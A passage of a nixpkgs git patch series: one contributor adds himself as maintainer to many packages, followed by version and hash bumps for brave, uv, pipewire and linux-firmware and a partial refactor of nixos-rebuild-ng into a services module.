 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/nc/ncdu/package.nix b/pkgs/by-name/nc/ncdu/package.nix
index 1db1c17fb6b2..290a01bb35fb 100644
--- a/pkgs/by-name/nc/ncdu/package.nix
+++ b/pkgs/by-name/nc/ncdu/package.nix
@@ -52,6 +52,7 @@ stdenv.mkDerivation (finalAttrs: {
       pSub
       rodrgz
       defelo
+      ryan4yin
     ];
     inherit (zig_0_14.meta) platforms;
     mainProgram = "ncdu";

From 829fc922595ce21da49d4a716aa1ee8c7f8b1b35 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:27 +0800
Subject: [PATCH 1731/4511] qq: add ryan4yin as a maintainer

(cherry picked from commit 2d54a4e9af814ed208c06260c6d19cdeccded59f)
---
 pkgs/by-name/qq/qq/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/qq/qq/package.nix b/pkgs/by-name/qq/qq/package.nix
index fb48240150e5..1ca56f038925 100644
--- a/pkgs/by-name/qq/qq/package.nix
+++ b/pkgs/by-name/qq/qq/package.nix
@@ -54,6 +54,7 @@ let
       bot-wxt1221
       fee1-dead
       prince213
+      ryan4yin
     ];
   };
 in

From 393af730dbe58a42ff3fa64ede6488b21a06d7b6 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:27 +0800
Subject: [PATCH 1732/4511] restic: add ryan4yin as a maintainer

(cherry picked from commit 8ed73a1fdd81ea80ad1970d62478557356f16cfb)
---
 pkgs/tools/backup/restic/default.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/backup/restic/default.nix b/pkgs/tools/backup/restic/default.nix
index e4723e357a41..1580c2c247fd 100644
--- a/pkgs/tools/backup/restic/default.nix
+++ b/pkgs/tools/backup/restic/default.nix
@@ -65,9 +65,10 @@ buildGoModule rec {
     description = "Backup program that is fast, efficient and secure";
     platforms = platforms.linux ++ platforms.darwin;
     license = licenses.bsd2;
-    maintainers = [
-      maintainers.mbrgm
-      maintainers.dotlambda
+    maintainers = with maintainers; [
+      mbrgm
+      dotlambda
+      ryan4yin
     ];
     mainProgram = "restic";
   };

From 65ce958b4a00f3f1a10439c438212c9058419b2e Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:28 +0800
Subject: [PATCH 1733/4511] sad: add ryan4yin as a maintainer

(cherry picked from commit d197b438f3421d2a74d9d87d0fe59d2b5cfa1550)
---
 pkgs/by-name/sa/sad/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/sa/sad/package.nix b/pkgs/by-name/sa/sad/package.nix
index 07917e201eba..fb8c66094383 100644
--- a/pkgs/by-name/sa/sad/package.nix
+++ b/pkgs/by-name/sa/sad/package.nix
@@ -32,7 +32,10 @@ rustPlatform.buildRustPackage rec {
     homepage = "https://github.com/ms-jpq/sad";
     changelog = "https://github.com/ms-jpq/sad/releases/tag/v${version}";
     license = licenses.mit;
-    maintainers = with maintainers; [ fab ];
+    maintainers = with maintainers; [
+      fab
+      ryan4yin
+    ];
     mainProgram = "sad";
   };
 }

From 348e6925e1bdbc3e8dfe0beadb9f8edbff7fdc74 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:28 +0800
Subject: [PATCH 1734/4511] sftpgo: add ryan4yin as a maintainer

(cherry picked from commit 30263b51750711359ae976c4bd7a0e56a36bc970)
---
 pkgs/by-name/sf/sftpgo/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/sf/sftpgo/package.nix b/pkgs/by-name/sf/sftpgo/package.nix
index 1ff2b8126e28..91121fb65eef 100644
--- a/pkgs/by-name/sf/sftpgo/package.nix
+++ b/pkgs/by-name/sf/sftpgo/package.nix
@@ -63,7 +63,10 @@ buildGoModule rec {
       agpl3Only
       unfreeRedistributable
     ]; # Software is AGPLv3, web UI is unfree
-    maintainers = with maintainers; [ thenonameguy ];
+    maintainers = with maintainers; [
+      thenonameguy
+      ryan4yin
+    ];
     mainProgram = "sftpgo";
   };
 }

From 72bca305a180af691ff6bf4a5639a8a4dcef21a5 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:28 +0800
Subject: [PATCH 1735/4511] skopeo: add ryan4yin as a maintainer

(cherry picked from commit f24dd50d069a0911a19fccaa113a78a8f400d0da)
---
 pkgs/by-name/sk/skopeo/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/sk/skopeo/package.nix b/pkgs/by-name/sk/skopeo/package.nix
index abdc1c4ebd31..02828a7c159c 100644
--- a/pkgs/by-name/sk/skopeo/package.nix
+++ b/pkgs/by-name/sk/skopeo/package.nix
@@ -92,6 +92,7 @@ buildGoModule rec {
     maintainers = with maintainers; [
       lewo
       developer-guy
+      ryan4yin
     ];
     teams = [ teams.podman ];
     license = licenses.asl20;

From bf9af1f2305f65b9405879f6a176bafd91cbc033 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:29 +0800
Subject: [PATCH 1736/4511] socat: add ryan4yin as a maintainer

(cherry picked from commit 05b716fb4872c2fb3082416964fb139e416293f2)
---
 pkgs/by-name/so/socat/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/so/socat/package.nix b/pkgs/by-name/so/socat/package.nix
index 257529fe2366..55fcc3bb5992 100644
--- a/pkgs/by-name/so/socat/package.nix
+++ b/pkgs/by-name/so/socat/package.nix
@@ -57,7 +57,7 @@ stdenv.mkDerivation rec {
     homepage = "http://www.dest-unreach.org/socat/";
     platforms = platforms.unix;
     license = with licenses; [ gpl2Only ];
-    maintainers = [ ];
+    maintainers = with maintainers; [ ryan4yin ];
     mainProgram = "socat";
   };
 }

From e33cc2f72224f8d0a248754db0919ef700ed66d5 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:29 +0800
Subject: [PATCH 1737/4511] ssm-session-manager-plugin: add ryan4yin as a
 maintainer

(cherry picked from commit 48dba1190df758e180d99314cd6a54826bc3c376)
---
 pkgs/by-name/ss/ssm-session-manager-plugin/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ss/ssm-session-manager-plugin/package.nix b/pkgs/by-name/ss/ssm-session-manager-plugin/package.nix
index 4168b8b1d828..a38ba61c178d 100644
--- a/pkgs/by-name/ss/ssm-session-manager-plugin/package.nix
+++ b/pkgs/by-name/ss/ssm-session-manager-plugin/package.nix
@@ -74,6 +74,7 @@ buildGoModule rec {
     maintainers = with lib.maintainers; [
       amarshall
       mbaillie
+      ryan4yin
     ];
   };
 }

From 2aa8072235faae110bc8f7008ca9866da722359c Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:29 +0800
Subject: [PATCH 1738/4511] swaybg: add ryan4yin as a maintainer

(cherry picked from commit 5e1c2b0876e1783003fa6a201136b96d3a4a750d)
---
 pkgs/by-name/sw/swaybg/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/sw/swaybg/package.nix b/pkgs/by-name/sw/swaybg/package.nix
index 2d854647d1fc..846a4d5d19b3 100644
--- a/pkgs/by-name/sw/swaybg/package.nix
+++ b/pkgs/by-name/sw/swaybg/package.nix
@@ -60,7 +60,10 @@ stdenv.mkDerivation rec {
     '';
     license = licenses.mit;
     mainProgram = "swaybg";
-    maintainers = with maintainers; [ primeos ];
+    maintainers = with maintainers; [
+      primeos
+      ryan4yin
+    ];
     platforms = platforms.linux;
   };
 }

From 482413953ce689fee0aeee69c322711f5ac64876 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:29 +0800
Subject: [PATCH 1739/4511] tailscale: add ryan4yin as a maintainer

(cherry picked from commit 78a9d9c698c0c0b84e66b835980264c77cdb1192)
---
 pkgs/by-name/ta/tailscale/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ta/tailscale/package.nix b/pkgs/by-name/ta/tailscale/package.nix
index 17fe34abb59f..ef4d8bdfe8c4 100644
--- a/pkgs/by-name/ta/tailscale/package.nix
+++ b/pkgs/by-name/ta/tailscale/package.nix
@@ -210,6 +210,7 @@ buildGoModule {
       jk
       mfrw
       pyrox0
+      ryan4yin
     ];
   };
 }

From d6eae95fbf874b0f97b95642733a577a5eca090d Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:30 +0800
Subject: [PATCH 1740/4511] tealdeer: add ryan4yin as a maintainer

(cherry picked from commit 7155875ed403be8269d85532b4056d0cac3c6144)
---
 pkgs/by-name/te/tealdeer/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/te/tealdeer/package.nix b/pkgs/by-name/te/tealdeer/package.nix
index 27eb4d3fd6a7..e87db45d1725 100644
--- a/pkgs/by-name/te/tealdeer/package.nix
+++ b/pkgs/by-name/te/tealdeer/package.nix
@@ -47,6 +47,7 @@ rustPlatform.buildRustPackage rec {
       davidak
       newam
       mfrw
+      ryan4yin
     ];
     license = with licenses; [
       asl20

From 07c67118440d863b192ea8bba65de06de4f8eaee Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:30 +0800
Subject: [PATCH 1741/4511] terraformer: add ryan4yin as a maintainer

(cherry picked from commit 820b64b4f35173599c4aef5831e329f18181d659)
---
 pkgs/by-name/te/terraformer/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/te/terraformer/package.nix b/pkgs/by-name/te/terraformer/package.nix
index cf7f10285783..f3a11674f44d 100644
--- a/pkgs/by-name/te/terraformer/package.nix
+++ b/pkgs/by-name/te/terraformer/package.nix
@@ -24,6 +24,6 @@ buildGoModule rec {
     mainProgram = "terraformer";
     homepage = "https://github.com/GoogleCloudPlatform/terraformer";
     license = licenses.asl20;
-    maintainers = [ ];
+    maintainers = with maintainers; [ ryan4yin ];
   };
 }

From a315721ab5939b44c0ce5a34579eefe7275328eb Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:30 +0800
Subject: [PATCH 1742/4511] v2ray: add ryan4yin as a maintainer

(cherry picked from commit 58bbf009d6ba491ae01c484fb893003faa7dc6ae)
---
 pkgs/by-name/v2/v2ray/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/v2/v2ray/package.nix b/pkgs/by-name/v2/v2ray/package.nix
index 6b1f0d5ff578..46a0259bfe4f 100644
--- a/pkgs/by-name/v2/v2ray/package.nix
+++ b/pkgs/by-name/v2/v2ray/package.nix
@@ -70,6 +70,9 @@ buildGoModule rec {
     description = "Platform for building proxies to bypass network restrictions";
     mainProgram = "v2ray";
     license = with lib.licenses; [ mit ];
-    maintainers = with lib.maintainers; [ servalcatty ];
+    maintainers = with lib.maintainers; [
+      servalcatty
+      ryan4yin
+    ];
   };
 }

From 146d4c988107fc5eff24b2c8522614dcbaaebfee Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:31 +0800
Subject: [PATCH 1743/4511] zellij: add ryan4yin as a maintainer

(cherry picked from commit cefa4685d4d892f31e348615a242886206f76021)
---
 pkgs/by-name/ze/zellij/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ze/zellij/package.nix b/pkgs/by-name/ze/zellij/package.nix
index 0c4b7e976449..f699b9a18441 100644
--- a/pkgs/by-name/ze/zellij/package.nix
+++ b/pkgs/by-name/ze/zellij/package.nix
@@ -92,6 +92,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       abbe
       pyrox0
       matthiasbeyer
+      ryan4yin
     ];
     mainProgram = "zellij";
   };

From 00683e88ff137a8fc95b003042cc0cff53a94594 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:31 +0800
Subject: [PATCH 1744/4511] zoxide: add ryan4yin as a maintainer

(cherry picked from commit 745b2deeb737a3a0022d9635fc97b37665be8ffb)
---
 pkgs/by-name/zo/zoxide/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/zo/zoxide/package.nix b/pkgs/by-name/zo/zoxide/package.nix
index 140990537964..5a26b266bd62 100644
--- a/pkgs/by-name/zo/zoxide/package.nix
+++ b/pkgs/by-name/zo/zoxide/package.nix
@@ -49,6 +49,7 @@ rustPlatform.buildRustPackage rec {
       ysndr
       cole-h
       SuperSandro2000
+      ryan4yin
     ];
     mainProgram = "zoxide";
   };

From 4d8e600ba5d6997dd770ec1b9a96025416145141 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:31 +0800
Subject: [PATCH 1745/4511] minio: add ryan4yin as a maintainer

(cherry picked from commit 2bede112dc7fe7e84d0898ac41c5e966a48226dc)
---
 pkgs/servers/minio/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/servers/minio/default.nix b/pkgs/servers/minio/default.nix
index cd43042c2d97..2d11908f0b32 100644
--- a/pkgs/servers/minio/default.nix
+++ b/pkgs/servers/minio/default.nix
@@ -68,7 +68,10 @@ buildGoModule rec {
     homepage = "https://www.minio.io/";
     description = "S3-compatible object storage server";
     changelog = "https://github.com/minio/minio/releases/tag/RELEASE.${version}";
-    maintainers = with maintainers; [ bachp ];
+    maintainers = with maintainers; [
+      bachp
+      ryan4yin
+    ];
     license = licenses.agpl3Plus;
     mainProgram = "minio";
   };

From cd481fd1a028453e9af6137e33a66efff52212f6 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:31 +0800
Subject: [PATCH 1746/4511] grafana: add ryan4yin as a maintainer

(cherry picked from commit 62d606d08ffbcf49309775de81b25822735b5e48)
---
 pkgs/servers/monitoring/grafana/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 95440687fb96..c09d56a5b277 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -162,6 +162,7 @@ buildGoModule rec {
       globin
       ma27
       Frostman
+      ryan4yin
     ];
     platforms = [
       "x86_64-linux"

From 0b37662bdbec293f84f19aaae3001e57bb4eedd5 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:31 +0800
Subject: [PATCH 1747/4511] nushell: add ryan4yin as a maintainer

(cherry picked from commit ee19f0a079baa7ac8243c612eacc6e80faa9658f)
---
 pkgs/shells/nushell/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix
index 9f1f90feb462..c51f06110e9d 100644
--- a/pkgs/shells/nushell/default.nix
+++ b/pkgs/shells/nushell/default.nix
@@ -95,6 +95,7 @@ rustPlatform.buildRustPackage {
       Br1ght0ne
       johntitor
       joaquintrinanes
+      ryan4yin
     ];
     mainProgram = "nu";
   };

From e3fe20d63e36e2102fee98654a56f0d5f2863e32 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:32 +0800
Subject: [PATCH 1748/4511] google-cloud-sdk: add ryan4yin as a maintainer

(cherry picked from commit df4d48734c18fd2ae1a2c2ae0409dadef7d7f7ed)
---
 pkgs/tools/admin/google-cloud-sdk/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/tools/admin/google-cloud-sdk/default.nix b/pkgs/tools/admin/google-cloud-sdk/default.nix
index 13134c7a4112..f6803df66e24 100644
--- a/pkgs/tools/admin/google-cloud-sdk/default.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/default.nix
@@ -184,6 +184,7 @@ stdenv.mkDerivation rec {
       pradyuman
       stephenmw
       zimbatm
+      ryan4yin
     ];
     platforms = builtins.attrNames data.googleCloudSdkPkgs;
     mainProgram = "gcloud";

From 16d3ccc9f3e1eeb62d12e1e3d36d5d710782a777 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:32 +0800
Subject: [PATCH 1749/4511] mtr: add ryan4yin as a maintainer

(cherry picked from commit fba58b82be35a5a4c5175221b251e6eddf4f853d)
---
 pkgs/tools/networking/mtr/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/tools/networking/mtr/default.nix b/pkgs/tools/networking/mtr/default.nix
index c3fc477f1c2d..f25d0109900e 100644
--- a/pkgs/tools/networking/mtr/default.nix
+++ b/pkgs/tools/networking/mtr/default.nix
@@ -68,6 +68,7 @@ stdenv.mkDerivation rec {
       orivej
       raskin
       globin
+      ryan4yin
     ];
     mainProgram = "mtr";
     platforms = platforms.unix;

From 20753c7c0a2dcf6f554762ec2a86b59da3a5ee6e Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:32 +0800
Subject: [PATCH 1750/4511] pass: add ryan4yin as a maintainer

(cherry picked from commit 9b3dc31a6e68e1ab834c36a14e77571e60b9e485)
---
 pkgs/tools/security/pass/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/tools/security/pass/default.nix b/pkgs/tools/security/pass/default.nix
index c9382cc05547..a7644ffe4126 100644
--- a/pkgs/tools/security/pass/default.nix
+++ b/pkgs/tools/security/pass/default.nix
@@ -197,6 +197,7 @@ stdenv.mkDerivation rec {
       tadfisher
       globin
       ma27
+      ryan4yin
     ];
     platforms = platforms.unix;
 

From 2fcb7df57d8d46be2b441ad8281c4c2cd3c3c1a5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 26 Jun 2025 17:39:36 +0000
Subject: [PATCH 1751/4511] brave: 1.79.123 -> 1.80.113

(cherry picked from commit acda3554ec2f178830c0399d2abc6e7989be0134)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index d98621db5164..af3d36b17a77 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.79.123";
+  version = "1.80.113";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-SINatcbj6EEvvd1St1hLOMrWXA06DZtbSiaecA8hQ5s=";
+      hash = "sha256-fWNRiLLFfbVsvLaay878PEIAK9rKCbRCHZ/Uv/dBuCM=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-XWw8Kn245KPpJxhSRz6xmFwijJSU5vMgpDUNRyRMf0M=";
+      hash = "sha256-xs9Bywb5ZWj/OINP1HEVxAMWhs2BTJVyU+dBOI+w6f8=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-8QZVd1//302jqO24Masz6KEogYCkfUxuQ2HpEeuaujY=";
+      hash = "sha256-SWalaT/+TvKvNBaVX9CQbCDMvPUgvJLG5rYhIHtXVkM=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-IB+08osAXOenRDCSvebRxZlNYsFRoh3g0JwGfXUy1kU=";
+      hash = "sha256-YpEAOZZegpAH9UbNCsEAJeLjjAPJYhJcEF5wd/3ewGE=";
     };
   };
 

From 8633e84d641e799b18e6e643a7fc437ec7949a8b Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Sat, 28 Jun 2025 16:53:27 +0200
Subject: [PATCH 1752/4511] linux-firmware: 20250506 -> 20250627

Manual backport of 790125f6f53f697910ea1820a3f4c20db886157e.
---
 pkgs/by-name/li/linux-firmware/package.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index e5f97ebebdb2..48ab69d04c4d 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -22,11 +22,13 @@ let
 in
 stdenvNoCC.mkDerivation rec {
   pname = "linux-firmware";
-  version = "20250509";
+  version = "20250627";
 
-  src = fetchzip {
-    url = "https://cdn.kernel.org/pub/linux/kernel/firmware/linux-firmware-${version}.tar.xz ";
-    hash = "sha256-0FrhgJQyCeRCa3s0vu8UOoN0ZgVCahTQsSH0o6G6hhY=";
+  src = fetchFromGitLab {
+    owner = "kernel-firmware";
+    repo = "linux-firmware";
+    tag = version;
+    hash = "sha256-mNjCl+HtvvFxyLjlBFsyfyu2TAf6D/9lbRiouKC/vVY=";
   };
 
   postUnpack = ''

From e6fda4c45bcea726295855b03bd0b1e9f3e82156 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 28 Jun 2025 13:14:06 +0800
Subject: [PATCH 1753/4511] uv: 0.7.15 -> 0.7.16

(cherry picked from commit 0d133898a928497371373c3a68f360005d7e4439)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index da467bcc24c4..40f01a772b35 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.15";
+  version = "0.7.16";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-onBeTfzT9XhhiHAWcYMYMV8GRKudfPHRpuxg+2AVJls=";
+    hash = "sha256-E9tFjJwV+zDOxsFdDeX6D8DqD0zFNW8kryeY9FmA63U=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-03iQp/0HSqnXJU5PAdQNiTa+0UiKQKx5FiqvoaUeF+U=";
+  cargoHash = "sha256-Eg4YVqKxjYEPS67qnc0y1Tuy6HAFEy6rCjr7/ZXF3yE=";
 
   buildInputs = [
     rust-jemalloc-sys

From 914f7b075dcc741eb0fb688d36a0b7ee2faecba5 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 27 Jun 2025 17:00:00 +0300
Subject: [PATCH 1754/4511] pipewire: 1.4.5 -> 1.4.6

Diff: https://gitlab.freedesktop.org/pipewire/pipewire/-/compare/1.4.5...1.4.6

Changelog: https://gitlab.freedesktop.org/pipewire/pipewire/-/releases/1.4.6
(cherry picked from commit 060b366274db22fc17e265f9b0ce4f302fdda700)
---
 pkgs/development/libraries/pipewire/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index b4be67990845..a4e4fb7d55e4 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -82,7 +82,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pipewire";
-  version = "1.4.5";
+  version = "1.4.6";
 
   outputs = [
     "out"
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "pipewire";
     repo = "pipewire";
     rev = finalAttrs.version;
-    sha256 = "sha256-5fBpthIGsvMYrQyRb6n1uiNtJ3pl2ejAFr1e/UUga8w=";
+    sha256 = "sha256-Hk43rKrKCJA6njQ9ap/Pje9AQKygrDc+GTlimaMh/pg=";
   };
 
   patches = [

From f7d1b62ae0bda6cc444ba2a75911c0f56a107458 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Sat, 28 Jun 2025 11:27:27 +0200
Subject: [PATCH 1755/4511] rutabaga_gfx: tighten platforms

Let's use the actual list of supported platforms, rather than adding
to badPlatforms one at a time as we run into platforms that don't
work.

(cherry picked from commit dffae84fee56eab544fffe80d70027f1d38ca7ab)
---
 pkgs/by-name/ru/rutabaga_gfx/package.nix | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/rutabaga_gfx/package.nix b/pkgs/by-name/ru/rutabaga_gfx/package.nix
index efaec27ec715..431b60f173f9 100644
--- a/pkgs/by-name/ru/rutabaga_gfx/package.nix
+++ b/pkgs/by-name/ru/rutabaga_gfx/package.nix
@@ -92,8 +92,16 @@ stdenv.mkDerivation (finalAttrs: {
     description = "cross-platform abstraction for GPU and display virtualization";
     license = licenses.bsd3;
     maintainers = with maintainers; [ qyliss ];
-    platforms = platforms.darwin ++ platforms.linux;
-    # error[E0432]: unresolved import `self::consts`
-    badPlatforms = [ "loongarch64-linux" ];
+    platforms = [
+      # src/generated/virgl_debug_callback_bindings.rs
+      "aarch64-darwin"
+      "aarch64-linux"
+      "armv5tel-linux"
+      "armv6l-linux"
+      "armv7a-linux"
+      "armv7l-linux"
+      "x86_64-darwin"
+      "x86_64-linux"
+    ];
   };
 })

From fc065fb3077a5d443756f8bc3744dd8cee431d61 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Thu, 26 Jun 2025 23:03:49 +0100
Subject: [PATCH 1756/4511] nixos-rebuild-ng: refactor part of __init__.py code
 in services.py

There are a bunch of logic that were happening in `__init__.py` file
that was not really fit in other files in the project but also didn't
seems fit to the `__init__.py`.

While moving this to `services.py` doesn't really solve the problem, at
least it reduces the size of the main `execute()` function to a
reasonable size, and I hope this will make it easier for other people to
understand what is happening.

(cherry picked from commit 749ded882625c3908bfdf561233ba50240893086)
---
 .../src/nixos_rebuild/__init__.py             | 233 ++-----------
 .../src/nixos_rebuild/services.py             | 319 ++++++++++++++++++
 .../nixos-rebuild-ng/src/tests/test_main.py   |  10 +-
 3 files changed, 343 insertions(+), 219 deletions(-)
 create mode 100644 pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 1696e73bb42f..1759317fc733 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -3,17 +3,15 @@ import json
 import logging
 import os
 import sys
-from pathlib import Path
 from subprocess import CalledProcessError, run
 from typing import Final, assert_never
 
-from . import nix, tmpdir
+from . import nix
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
-from .models import Action, BuildAttr, Flake, ImageVariants, NixOSRebuildError, Profile
-from .process import Remote, cleanup_ssh
-from .utils import Args, LogFormatter, tabulate
-
-NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
+from .models import Action, BuildAttr, Flake, Profile
+from .process import Remote
+from .services import build_and_activate_system, reexec
+from .utils import LogFormatter, tabulate
 
 logger: Final = logging.getLogger(__name__)
 logger.setLevel(logging.INFO)
@@ -271,72 +269,6 @@ def parse_args(
     return args, args_groups
 
 
-def reexec(
-    argv: list[str],
-    args: argparse.Namespace,
-    build_flags: Args,
-    flake_build_flags: Args,
-) -> None:
-    drv = None
-    try:
-        # Parsing the args here but ignore ask_sudo_password since it is not
-        # needed and we would end up asking sudo password twice
-        if flake := Flake.from_arg(args.flake, Remote.from_arg(args.target_host, None)):
-            drv = nix.build_flake(
-                NIXOS_REBUILD_ATTR,
-                flake,
-                flake_build_flags | {"no_link": True},
-            )
-        else:
-            build_attr = BuildAttr.from_arg(args.attr, args.file)
-            drv = nix.build(
-                NIXOS_REBUILD_ATTR,
-                build_attr,
-                build_flags | {"no_out_link": True},
-            )
-    except CalledProcessError:
-        logger.warning(
-            "could not build a newer version of nixos-rebuild, using current version",
-            exc_info=logger.isEnabledFor(logging.DEBUG),
-        )
-
-    if drv:
-        new = drv / f"bin/{EXECUTABLE}"
-        current = Path(argv[0])
-        if new != current:
-            logger.debug(
-                "detected newer version of script, re-exec'ing, current=%s, new=%s",
-                current,
-                new,
-            )
-            # Manually call clean-up functions since os.execve() will replace
-            # the process immediately
-            cleanup_ssh()
-            tmpdir.TMPDIR.cleanup()
-            try:
